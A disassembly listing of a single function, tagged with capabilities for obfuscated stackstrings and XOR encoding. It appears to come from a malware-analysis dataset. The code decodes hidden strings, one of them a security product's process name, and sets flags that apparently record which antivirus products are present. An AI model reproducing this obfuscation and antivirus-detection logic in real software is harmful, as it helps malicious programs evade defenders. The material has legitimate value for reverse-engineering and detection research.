Function at 0x43bc50
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5ae958
mov eax, dword fs:[0]
push eax
sub esp, 0x5c8
mov eax, dword [0x624394]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x4b8], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x4cc], 0
mov dword [ebp - 0x4d0], edi
mov dword [edi], 0
call fcn.00421560
mov ecx, eax
test ecx, ecx
jne 0x43bcb7
push 0x80004005
call fcn.004212c0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
mov dword [ebp - 4], 0
lea eax, [ebp - 0x4b0]
push 0x400
xorps xmm0, xmm0
mov dword [ebp - 0x4cc], 1
push 0
push eax
mov byte [ebp - 0xb0], 0
movups xmmword [ebp - 0xaf], xmm0
mov dword [ebp - 0x97], 0
movq qword [ebp - 0x9f], xmm0
mov word [ebp - 0x93], 0
mov byte [ebp - 0x91], 0
mov dword [ebp - 0x4c0], 0x30213c2e
mov dword [ebp - 0x4bc], 0x32333a3b
mov dword [ebp - 0x4b8], 0x2d333a35
mov byte [ebp - 0x4c1], 0x21
call fcn.004e0970
mov eax, dword [ebp - 0x4b8]
add esp, 0xc
movq xmm0, qword [ebp - 0x4c0]
mov dword [ebp - 0x4a8], eax
mov al, byte [ebp - 0x4c1]
mov byte [ebp - 0x4a4], al
xor eax, eax
movq qword [ebp - 0x4b0], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x4b0], 0x54
inc eax
cmp eax, 0xd
jb 0x43bd70
xor ecx, ecx
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0xb1], al
test al, al
jne 0x43bd80
push 0x400
mov byte [ebp - 0x90], al
xorps xmm0, xmm0
mov byte [ebp - 0x71], al
lea eax, [ebp - 0x4b0]
push 0
push eax
movups xmmword [ebp - 0x8f], xmm0
mov dword [ebp - 0x77], 0
movq qword [ebp - 0x7f], xmm0
mov word [ebp - 0x73], 0
mov dword [ebp - 0x4b8], 0x27646267
mov byte [ebp - 0x4c1], 0x30
call fcn.004e0970
mov eax, dword [ebp - 0x4b8]
add esp, 0xc
mov dword [ebp - 0x4b0], eax
mov al, byte [ebp - 0x4b0]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4b0], al
mov al, byte [ebp - 0x4af]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4ae]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ae], al
mov al, byte [ebp - 0x4ad]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ad], al
mov al, byte [ebp - 0x4c1]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
xor ecx, ecx
mov byte [ebp - 0x4ac], al
nop dword [eax]
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x91], al
test al, al
jne 0x43bf00
push 0x400
mov byte [ebp - 0x70], al
xorps xmm0, xmm0
mov byte [ebp - 0x51], al
lea eax, [ebp - 0x4b0]
push 0
push eax
movups xmmword [ebp - 0x6f], xmm0
mov dword [ebp - 0x57], 0
movq qword [ebp - 0x5f], xmm0
mov word [ebp - 0x53], 0
mov dword [ebp - 0x4bc], 0x37242525
mov word [ebp - 0x4b8], 0x2026
mov byte [ebp - 0x4c1], 0x24
call fcn.004e0970
mov eax, dword [ebp - 0x4bc]
add esp, 0xc
mov dword [ebp - 0x4b0], eax
mov ax, word [ebp - 0x4b8]
mov word [ebp - 0x4ac], ax
mov al, byte [ebp - 0x4b0]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4b0], al
mov al, byte [ebp - 0x4af]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4ae]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ae], al
mov al, byte [ebp - 0x4ad]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ad], al
mov al, byte [ebp - 0x4ac]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4ab]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ab], al
mov al, byte [ebp - 0x4c1]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
xor ecx, ecx
mov byte [ebp - 0x4aa], al
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x71], al
test al, al
jne 0x43c100
push 0x400
mov byte [ebp - 0x50], al
xorps xmm0, xmm0
mov byte [ebp - 0x31], al
lea eax, [ebp - 0x4b0]
push 0
push eax
movups xmmword [ebp - 0x4f], xmm0
mov dword [ebp - 0x37], 0
movq qword [ebp - 0x3f], xmm0
mov word [ebp - 0x33], 0
mov dword [ebp - 0x4bc], 0x20312c3f
mov word [ebp - 0x4b8], 0x3526
mov byte [ebp - 0x4c1], 0x2d
call fcn.004e0970
mov eax, dword [ebp - 0x4bc]
add esp, 0xc
mov dword [ebp - 0x4b0], eax
mov ax, word [ebp - 0x4b8]
mov word [ebp - 0x4ac], ax
mov al, byte [ebp - 0x4b0]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4b0], al
mov al, byte [ebp - 0x4af]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4ae]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ae], al
mov al, byte [ebp - 0x4ad]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ad], al
mov al, byte [ebp - 0x4ac]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4ab]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ab], al
mov al, byte [ebp - 0x4c1]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
xor ecx, ecx
mov byte [ebp - 0x4aa], al
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x51], al
test al, al
jne 0x43c300
push 0x400
mov byte [ebp - 0x30], al
xorps xmm0, xmm0
mov byte [ebp - 0x11], al
lea eax, [ebp - 0x4b0]
push 0
push eax
movups xmmword [ebp - 0x2f], xmm0
mov dword [ebp - 0x17], 0
movq qword [ebp - 0x1f], xmm0
mov word [ebp - 0x13], 0
mov dword [ebp - 0x4bc], 0x27243d3c
mov dword [ebp - 0x4b8], 0x2d352620
call fcn.004e0970
movq xmm0, qword [ebp - 0x4bc]
add esp, 0xc
movq qword [ebp - 0x4b0], xmm0
mov al, byte [ebp - 0x4b0]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4b0], al
mov al, byte [ebp - 0x4af]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4ae]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ae], al
mov al, byte [ebp - 0x4ad]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ad], al
mov al, byte [ebp - 0x4ac]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4ab]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4ab], al
mov al, byte [ebp - 0x4aa]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
mov byte [ebp - 0x4aa], al
mov al, byte [ebp - 0x4a9]
xor al, 0x4c
xor al, 0x23
xor al, 0x1c
xor al, 0x38
xor al, 0x30
xor al, 0x29
xor al, 4
xor al, 0x4a
xor al, 0x40
xor al, 0x18
xor al, 0x36
xor al, 0x30
xor al, 0x2b
xor al, 0x2e
xor al, 0x41
xor al, 0x5e
xor al, 0x54
xor al, 0xe
xor al, 0x4e
xor al, 0x33
xor al, 0x2b
xor ecx, ecx
mov byte [ebp - 0x4a9], al
nop dword [eax]
mov al, byte [ebp + ecx - 0x4b0]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x31], al
test al, al
jne 0x43c520
call fcn.00421560
mov ecx, eax
test ecx, ecx
jne 0x43c547
push 0x80004005
call fcn.004212c0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x4b8], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 4], 1
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x4b8]
push str._s__s__s__s__s
push eax
call fcn.00436c30
mov esi, dword [ebp - 0x4b8]
mov ecx, 1
add esp, 0x1c
sub ecx, dword [esi - 4]
mov eax, dword [esi - 8]
or eax, ecx
jge 0x43c5b4
push 0
lea ecx, [ebp - 0x4b8]
call fcn.00435050
mov esi, dword [ebp - 0x4b8]
push 3
lea eax, [ebp - 0x5d0]
push esi
lea ecx, [ebp - 0x5d4]
mov dword [ebp - 0x5d4], eax
call fcn.004206f0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5d4]
call fcn.0043b910
mov byte [ebp - 4], 1
lea edx, [ebp - 0x5d0]
mov ecx, dword [ebp - 0x5d4]
mov dword [ebp - 0x4c8], eax
cmp ecx, edx
je 0x43c606
push ecx
call fcn.004e43de
mov eax, dword [ebp - 0x4c8]
add esp, 4
test al, 1
je 0x43c62c
push 5
push str.wss0
mov ecx, edi
call fcn.00436820
push 1
push 0x613414
mov ecx, edi
call fcn.00436820
mov eax, dword [ebp - 0x4c8]
test al, 2
je 0x43c652
push 5
push str.sds0
mov ecx, edi
call fcn.00436820
push 1
push 0x613414
mov ecx, edi
call fcn.00436820
mov eax, dword [ebp - 0x4c8]
test al, 4
je 0x43c678
push 5
push str.qgs0
mov ecx, edi
call fcn.00436820
push 1
push 0x613414
mov ecx, edi
call fcn.00436820
mov eax, dword [ebp - 0x4c8]
test al, 8
je 0x43c69e
push 5
push str.kss0
mov ecx, edi
call fcn.00436820
push 1
push 0x613414
mov ecx, edi
call fcn.00436820
mov eax, dword [ebp - 0x4c8]
test al, 0x10
je 0x43c6be
push 5
push str.hrs0
mov ecx, edi
call fcn.00436820
push 1
push 0x613414
mov ecx, edi
call fcn.00436820
mov byte [ebp - 4], 0
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x43c6da
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004dda5e
mov esp, ebp
pop ebp
ret